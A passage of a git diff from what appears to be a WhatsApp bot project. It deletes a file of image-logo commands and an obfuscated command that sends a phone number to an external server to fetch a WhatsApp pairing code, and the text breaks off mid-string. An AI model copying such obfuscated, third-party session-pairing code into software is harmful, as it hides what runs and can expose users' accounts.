_0x4c443b=_0x15306d();if(_0x4c443b['match'](/\.(mp4|gif)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'video':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':_0x589ec1(0x17b),'gifPlayback':!![]},{'quoted':_0x42419d});}catch(_0x5d7740){console['log'](_0x589ec1(0x17d)+_0x5d7740),_0x4a57b6(_0x589ec1(0x17d)+_0x5d7740);}else{if(_0x4c443b['match'](/\.(jpeg|png|jpg)$/i))try{_0x34ad3b[_0x589ec1(0x16a)](_0x15bd1b,{'image':{'url':_0x4c443b},'caption':_0x5f0c7e+_0x54f82b,'footer':'Je\x20suis\x20*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams'},{'quoted':_0x42419d});}catch(_0x1acf05){console[_0x589ec1(0x170)](_0x589ec1(0x17d)+_0x1acf05),_0x4a57b6(_0x589ec1(0x17d)+_0x1acf05);}else _0x4a57b6(_0x5f0c7e+_0x54f82b);}});function _0x265a(){const _0x4c9706=['categorie','HH:mm:ss','fs-extra','DD/MM/YYYY','\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20','map','2607464vqRsvC','\x0a┇\x20📅\x20ᴅᴀᴛᴇ:\x20','setDefault','7AvNzwU','*BMW\x20MD*,\x20déveloped\x20Ibrahim\x20Adams','\x0a*╰─═════════════❒*\x20\x0a','🥵🥵\x20Menu\x20erreur\x20','230TIkHUY','\x0a\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x20','2028xUihAV','platform','\x20\x20\x0a*╏*\x20','821336kejjBf','format','nomCom','/../Ibrahim/adams','fromCharCode','Africa/Nairobi','310SOwXSc','35304mnwZko','\x20]*\x0a┇\x20⏲️\x20ᴛɪᴍᴇ:\x20','\x0a*Hey🖐️*\x20*','moment-timezone','220yiiLSo','private','public','\x20\x0a╰─────═━┈┈━═──━┈⊷\x0a╭─────═━┈┈━═──━┈⊷\x0a\x20\x20『𝐒𝐔𝐏𝐏𝐎𝐑𝐓』\x0a\x20\x20♾️\x20ᴡʜᴀᴛsᴀᴘᴘ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y\x0a\x20\x20♾️\x20ᴛᴇʟᴇɢʀᴀᴍ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://t.me/ibrahimtechai\x0a\x20\x20♾️\x20ʏᴏᴜᴛᴜʙᴇ\x20ᴄʜᴀɴɴᴇʟ\x0a\x20\x20https://www.youtube.com/@ibrahimaitech\x0a\x20\x20♾️\x20ɪɴsᴛᴀɢʀᴀᴍ\x20ᴘᴀɢᴇ\x0a\x20\x20https://www.instagram.com/ibrahimadamstech\x0a╰─────═━┈┈━═──━┈⊷\x0a>\x20©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x0a\x0a','6FFRSDY','yes','/../config','166507cRCrSQ','toLocaleLowerCase','sendMessage','*╭────❒*\x20*','3292464voqxzX','1990917cgHrOP','repeat','help','log'];_0x265a=function(){return _0x4c9706;};return _0x265a();}
diff --git a/scs/bmwbu.js b/scs/bmwbu.js
deleted file mode 100644
index 9fe4c90..0000000
--- a/scs/bmwbu.js
+++ /dev/null
@@ -1,499 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-var mumaker = require("mumaker");
-adams({ nomCom: "hacker",
- categorie: "Logo", reaction: "👨🏿💻" }, async (origineMessage, zk, commandeOptions) => {
- const { prefixe, arg, ms, repondre } = commandeOptions;
- if (!arg || arg == "") {
- repondre("*__Exemple : * " + prefixe + "hacker Ibrahim");
- return;
- }
- try {
- let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
- let anu = await mumaker.ephoto("https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html", arg); //
- //
- // let res = Object.values(anu)[3];
- // console.log("&€"+res);
- // let lien = "https://e1.yotools.net" + res;
- repondre("* processing...*");
- await zk.sendMessage(origineMessage, { image: { url:anu.image}, caption: "* \t Logo by bmw-Md*" }, { quoted: ms });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-adams({ nomCom: "dragonball", categorie: "Logo", reaction: "🐉" }, async (dest, zk, commandeOptions) => {
- let { arg, repondre, prefixe, ms } = commandeOptions;
- try {
- const noArgMsg = `*_EXEMPLE *: ${prefixe}dragonball Ibrahim adams`;
- // if(arg=='') {await zok.sendMessage(dest,{text:noArgMsg},{quoted:infoMessage}); return;}
- if (arg == '' || !arg) {
- repondre(noArgMsg);
- return;
- }
- var lienMaker = "https://ephoto360.com/tao-hieu-ung-chu-phong-cach-dragon-ball-truc-tuyen-1000.html";
- var lienMaker2 = "https://en.ephoto360.com/create-dragon-ball-style-text-effects-online-809.html";
-
-
- const imgInfo = await mumaker.ephoto(lienMaker2, arg.join(' '));
-
- await zk.sendMessage(dest, { text: " *\t Traitement en cours ...*" }, { quoted: ms });
- // var idImg = Object.values(imgInfo)[3];
-
- await zk.sendMessage(dest, { image: { url: imgInfo.image }, caption: "* \t Logo by Bmw-Md*" }, { quoted: ms });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-////////////////////////////
-adams({ nomCom: "naruto", categorie: "Logo", reaction: "⛩" }, async (dest, zk, commandeOptions) => {
- let { ms, arg, repondre, prefixe } = commandeOptions;
- try {
- if (!arg || arg == '') {
- repondre("*_Exemple : * " + prefixe + "naruto ibrahim");
- return;
- }
- var nar = "https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html";
- //let img= await //mumaker.textpro('https://textpro.me/create-naruto-logo-style-text-effect-online-1125.html',arg);
- repondre("*traitement en cours...*");
- var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
- var img = await mumaker.ephoto("https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html", arg.join(' '));
-
- await zk.sendMessage(dest, { image: { url: img.image }, caption: "\t\t *Logo by Bmw-md*" }, { quoted: ms });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-//didong
-/*zokou({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre, arg, prefixe } = commandeOptions;
-
- var titre = "\t logo by Bmw-Md";
- try {
- var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
- if (!arg || arg == "") {
- repondre(`*exemple :* ${prefixe}didong Zokou`)
- return ;
- }
- console.log(typeof arg[0])
- var maker = mumaker.ephoto(lien, "arg");
- var lienImg = Object.values(maker)[1];
- await zk.sendMessage(dest, { image: { url: lienImg }, caption: titre });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-*/
-
-
-adams({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
- let { arg, repondre, prefixe, ms } = commandeOptions;
- try {
- var titre = "\t* logo by Bmw-Md*";
- var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
- if (!arg || arg == "") {
- repondre(`*exemple :* ${prefixe}didong ibrahim adams`)
- return ;
- }
-
- var maker =await mumaker.ephoto(lien,arg.join(' '));
-
-
- repondre('*processing...*')
- await zk.sendMessage(dest, { image: { url: maker.image}, caption: titre });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
- }
-);
-
-
-adams({nomCom : "wall",categorie : "Logo",reaction : "👍"} , async (dest,zk,commandeOptions) =>{
-
- const {arg,repondre,ms,prefixe} = commandeOptions;
- if(!arg[0]) { repondre( `Exemple of using commande:\n ${prefixe}wall BMW-MD` ); return ;}
- let text = arg.join(" ")
- mumaker.textpro("https://textpro.me/break-wall-text-effect-871.html", text)
-.then((data) =>{
- zk.sendMessage(dest,{image : { url : data.image},caption : 'Logo by'},{quoted:ms})
-})
-.catch(console.log)
-})
-;
-adams({nomCom: "summer", categorie: "Logo", reaction: "🌞"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}summer My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-sunset-light-text-effects-online-for-free-1124.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
- })
- .catch(console.error);
-});
-
-adams({nomCom: "neonlight", categorie: "Logo", reaction: "💡"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- /*if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
- return;
- }*/
- if(!arg ||arg=="")
- {
- repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
- return;
- }
-
- const text = arg.join(" ");
- try{
-
- let maker=await mumaker.textpro("https://textpro.me/create-glowing-neon-light-text-effect-online-free-1061.html",arg)
- //repondre(stringify(maker))
- /*.then((data) => {*/
- zk.sendMessage(dest, { image: { url: maker.image }, caption: 'Logo by Bmw-md' }, { quoted: ms });
-
- /*.catch(console.error);*/
-
-
-}catch(e){repondre("🥵🥵 "+e)}
-
-});
-
-adams({nomCom: "greenneon", categorie: "Logo", reaction: "🟢"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}greenneon My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/green-neon-text-effect-874.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
- })
- .catch(console.error);
-});
-
-adams({nomCom: "glitch", categorie: "Logo", reaction: "🎛️"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}glitch My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-impressive-glitch-text-effects-online-1027.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch(console.error);
-});
-
-adams({nomCom: "devil", categorie: "Logo", reaction: "😈"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}devil My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-neon-devil-wings-text-effect-online-free-1014.html",arg)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch(console.error);
-});
-////////////////////
-adams(
- {nomCom:"boom",categorie:
- "Logo",reaction:"💥"},async(dest,zk,commandeOptions)=>{
-
- let {ms,repondre,prefixe,arg}=commandeOptions;
-
- if(!arg||arg=="")
- {
-
- repondre(` Exemple :* ${prefixe}boom Beltah`)
- return ;
- }
- try{
- var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
- let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
-var lien="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
- console.log(arg)
- var img =await mumaker.ephoto(lien,arg)
-
- //var idImg = Object.values(img)[3];
- // var lienImage = "https://e1.yotools.net/" + idImg;
-
- /* let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
- var v="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
- var c="https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html"
- let anu = await mumaker.ephoto4(v, arg, radio);
- let res = Object.values(anu)[3];*/
- // console.log("&€"+res);
- // let lien = "https://e1.yotools.net" + res;
-
-
-repondre(" processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:"\t *Logo by bmw-Md*"})
-
- // await zk.sendMessage(dest,{image:{url:lienImage},caption:"\t *Logo by Bmw-Md*"})
-
-
-
- }catch(e){repondre("🥵🥵 "+e)}
-
- }
-)
-//water
-adams({nomCom:"water",categorie:"Logo",reation:"💦"},async(dest,zk,commandeOptions)=>{
-
-
-var {ms,repondre,arg,prefixe}=commandeOptions;
- if(!arg||arg=="")
- {
- repondre(`${prefixe}water zokou`)
- return;
- }
- try{
- var lien ="https://en.ephoto360.com/create-water-effect-text-online-295.html";
- var img =await mumaker.ephoto(lien,arg);
- repondre(" processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"})
- }catch(e){repondre(`🥵🥵 ${e}`)}
-
-});
-
-adams({ nomCom: "snow", categorie: "Logo", reaction: "❄️" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Snow My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-beautiful-3d-snow-text-effect-online-1101.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "transformer", categorie: "Logo", reaction: "🤖" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Transformer My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-a-transformer-text-effect-online-1035.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "thunder", categorie: "Logo", reaction: "⚡" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Thunder My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/online-thunder-text-effect-generator-1031.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "harrypotter", categorie: "Logo", reaction: "🧙♂️" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}HarryPotter My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-harry-potter-text-effect-online-1025.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "cat", categorie: "Logo", reaction: "🪟" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}FoggyWindow My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/write-text-on-foggy-window-online-free-1015.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-
-
-adams({ nomCom: "whitegold", categorie: "Logo", reaction: "💫" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}WhiteGold My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/elegant-white-gold-3d-text-effect-online-free-1070.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "lightglow", categorie: "Logo", reaction: "🌟" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}LightGlow My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-light-glow-sliced-text-effect-online-1068.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "thor", categorie: "Logo", reaction: "🔨" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Thor My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-thor-logo-style-text-effect-online-1064.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "neon", categorie: "Logo", reaction: "💡" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Neon My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/neon-text-effect-online-879.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-
-
-adams({nomCom:"purple",categorie:"Logo",reaction:"🧳"},async(dest,zk,commandeOptions)=>{
- var {ms,repondre,prefixe,arg}=commandeOptions;
-
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"purple zokou");return;}
- const lien="https://en.ephoto360.com/purple-text-effect-online-100.html"
- var img = await mumaker.ephoto(lien,arg);
- repondre(" processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-MD*"});
- }catch(e){repondre(e)}
-
-})
-
-adams({nomCom:"gold",categorie:"Logo",reaction:"🧚🏿♀️"},async(dest,zk,commandeOptions)=>{
-
-
- let {ms,arg,prefixe,repondre}=commandeOptions;
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"gold Bmw-MD");return;
- }
-
- var lien="https://en.ephoto360.com/modern-gold-4-213.html";
-
- var img = await mumaker.ephoto(lien,arg);
- repondre("processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
- }catch(e){repondre(e)}
-})
-
-
-adams({nomCom:"arena",categorie:"Logo",reaction:"🥵"},async(dest,zk,commandeOptions)=>{
-
-
- let {ms,arg,prefixe,repondre}=commandeOptions;
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"arena Bmw-MD");return;
- }
-
- var lien="https://en.ephoto360.com/create-cover-arena-of-valor-by-mastering-360.html";
-
- var img = await mumaker.ephoto(lien,arg.join(' '));
- repondre("processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
- }catch(e){repondre(e)}
-})
-
-adams({nomCom:"incandescent",categorie:"Logo",reaction:"😋"},async(dest,zk,commandeOptions)=>{
-
-
- let {ms,arg,prefixe,repondre}=commandeOptions;
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"incandescent Bmw-MD");return;
- }
-
- var lien="https://en.ephoto360.com/text-effects-incandescent-bulbs-219.html";
-
- var img = await mumaker.ephoto(lien,arg.join(' '));
- repondre("processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"},{quoted:ms})
- }catch(e){repondre(e)}
-})
diff --git a/scs/bmwbut.js b/scs/bmwbut.js
deleted file mode 100644
index 999e256..0000000
--- a/scs/bmwbut.js
+++ /dev/null
@@ -1 +0,0 @@
-function _0x234a(_0x3bb2ff,_0x3a4ce0){const _0x528b7c=_0x528b();return _0x234a=function(_0x234a91,_0x38596a){_0x234a91=_0x234a91-0x15a;let _0x5d9489=_0x528b7c[_0x234a91];return _0x5d9489;},_0x234a(_0x3bb2ff,_0x3a4ce0);}const _0x4ec482=_0x234a;function _0x528b(){const _0x53ffcc=['NativeFlowMessage','https://www.youtube.com/@ibrahimaitech','https://ibraah-adams-432q.onrender.com/code?number=','10XIZehv','245356mOPdzL','cta_url','https://github.com/devibraah/BWM-XMD','26168XKmTtg','stringify','Body','741846iTYVZW','https://bmw-md-web-by-ibrahim.vercel.app/','⭕\x20FOLLOW\x20WACHANNEL','25830MXrvEh','473298aXsMKV','ibraah1','Analyzing\x20ibraah\x20info.....','☕\x20BUY\x20ME\x20A\x20COFFEE','message','1344393nswWCB','axios','get','User','Header','ibraah','🎬\x20MOVIES','462arEgsY','*\x0a│\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷','\x20*Made\x20by\x20Ibrahim\x20Adams*','Error\x20getting\x20response\x20from\x20Api.','create','💢\x20YOUTUBE','https://t.me/ibrahimtechai','Footer','30CxWEOu','InteractiveMessage','https://t.me/ibraahadams','😎\x20CONTACT\x20ME','\x0a╭─────═━┈┈━═──━┈⊷\x0a│\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a│\x20ᴠᴇʀꜱɪᴏɴ:\x20*7.1.8*\x0a│\x20ᴄʏᴘ:\x20*','../Ibrahim/traduction','https://ibrahim-adams.vercel.app','relayMessage','Error\x20getting\x20Api\x20response:','https://www.instagram.com/ibrahimadamstech','🌍\x20INSTAGRAM','📂\x20REPO','code','Message','Invalid\x20response\x20from\x20Api.','../Ibrahim/adams','length','Type\x20.ibraah\x201','50709gLQJJN','@whiskeysockets/baileys','Type\x20*.ibraah\x201*'];_0x528b=function(){return _0x53ffcc;};return _0x528b();}(function(_0x3b5468,_0x1245a4){const _0x368d34=_0x234a,_0x11dc8b=_0x3b5468();while(!![]){try{const _0x69edaa=-parseInt(_0x368d34(0x180))/0x1+parseInt(_0x368d34(0x190))/0x2+-parseInt(_0x368d34(0x18d))/0x3+-parseInt(_0x368d34(0x187))/0x4*(-parseInt(_0x368d34(0x186))/0x5)+parseInt(_0x368d34(0x15a))/0x6+-parseInt(_0x368d34(0x166))/0x7*(parseInt(_0x368d34(0x18a))/0x8)+-parseInt(_0x368d34(0x15f))/0x9*(-parseInt(_0x368d34(0x16e))/0xa);if(_0x69edaa===_0x1245a4)break;else _0x11dc8b['push'](_0x11dc8b['shift']());}catch(_0x304015){_0x11dc8b['push'](_0x11dc8b['shift']());}}}(_0x528b,0x244fa));const {adams}=require(_0x4ec482(0x17d)),traduire=require(_0x4ec482(0x173)),{default:axios}=require(_0x4ec482(0x160)),pkg=require(_0x4ec482(0x181)),{generateWAMessageFromContent,proto}=pkg;adams({'nomCom':_0x4ec482(0x164),'reaction':'😎','categorie':_0x4ec482(0x162)},async(_0x2b1f8a,_0x18719b,_0x386863)=>{const _0x391b37=_0x4ec482,{repondre:_0x27fe92,arg:_0x5b0c50,ms:_0x44fdc3}=_0x386863;try{if(!_0x5b0c50||_0x5b0c50[_0x391b37(0x17e)]===0x0)return _0x27fe92('Type\x20*.ibraah\x201*');await _0x27fe92(_0x391b37(0x15c));const _0x4c5d12=encodeURIComponent(_0x5b0c50['join']('\x20')),_0x550e56=_0x391b37(0x185)+_0x4c5d12,_0x4c5f43=await axios[_0x391b37(0x161)](_0x550e56),_0x5cce19=_0x4c5f43['data'];if(_0x5cce19&&_0x5cce19['code']){const _0x24391b=_0x5cce19[_0x391b37(0x17a)],_0x19707b=_0x391b37(0x172)+_0x24391b+_0x391b37(0x167),_0x3d18c3=[{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x391b37(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'✅\x20SESSION','url':_0x391b37(0x174)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x179),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x391b37(0x15d),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20INSTAGRAM','url':_0x391b37(0x177)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x16b),'url':_0x391b37(0x184)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x165),'url':_0x391b37(0x16c)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'😎\x20CONTACT\x20ME','url':_0x391b37(0x170)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x5d65ae=generateWAMessageFromContent(_0x2b1f8a,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x391b37(0x17b)]['InteractiveMessage'][_0x391b37(0x16a)]({'body':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x18c)][_0x391b37(0x16a)]({'text':_0x19707b}),'footer':proto['Message'][_0x391b37(0x16f)][_0x391b37(0x16d)][_0x391b37(0x16a)]({'text':_0x391b37(0x168)}),'header':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x163)][_0x391b37(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x391b37(0x17b)][_0x391b37(0x16f)]['NativeFlowMessage'][_0x391b37(0x16a)]({'buttons':_0x3d18c3})})}}},{});await _0x18719b[_0x391b37(0x175)](_0x2b1f8a,_0x5d65ae[_0x391b37(0x15e)],{'messageId':_0x5d65ae['key']['id']});}else throw new Error(_0x391b37(0x17c));}catch(_0x4f61ec){console['error'](_0x391b37(0x176),_0x4f61ec[_0x391b37(0x15e)]),_0x27fe92(_0x391b37(0x169));}}),adams({'nomCom':_0x4ec482(0x15b),'reaction':'🚘','categorie':_0x4ec482(0x162)},async(_0x2552bb,_0x1e6649,_0x1a20fe)=>{const _0x5792e1=_0x4ec482,{repondre:_0x3c48b,arg:_0x426199,ms:_0x53da5a}=_0x1a20fe;try{if(!_0x426199||_0x426199[_0x5792e1(0x17e)]===0x0)return _0x3c48b(_0x5792e1(0x182));await _0x3c48b(_0x5792e1(0x15c));const _0x4a3b71=encodeURIComponent(_0x426199['join']('\x20')),_0x149caa=_0x5792e1(0x185)+_0x4a3b71,_0x4994bf=await axios[_0x5792e1(0x161)](_0x149caa),_0x58e8cd=_0x4994bf['data'];if(_0x58e8cd&&_0x58e8cd[_0x5792e1(0x17a)]){const _0xdc7547=_0x58e8cd[_0x5792e1(0x17a)],_0x774441=_0x5792e1(0x172)+_0xdc7547+_0x5792e1(0x167),_0x5d157c=[{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x5792e1(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'✅\x20SESSION','url':_0x5792e1(0x174)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x179),'url':_0x5792e1(0x189)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x15d),'url':_0x5792e1(0x189)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x178),'url':_0x5792e1(0x177)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x16b),'url':_0x5792e1(0x184)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x165),'url':_0x5792e1(0x16c)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x171),'url':_0x5792e1(0x170)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x18f),'url':'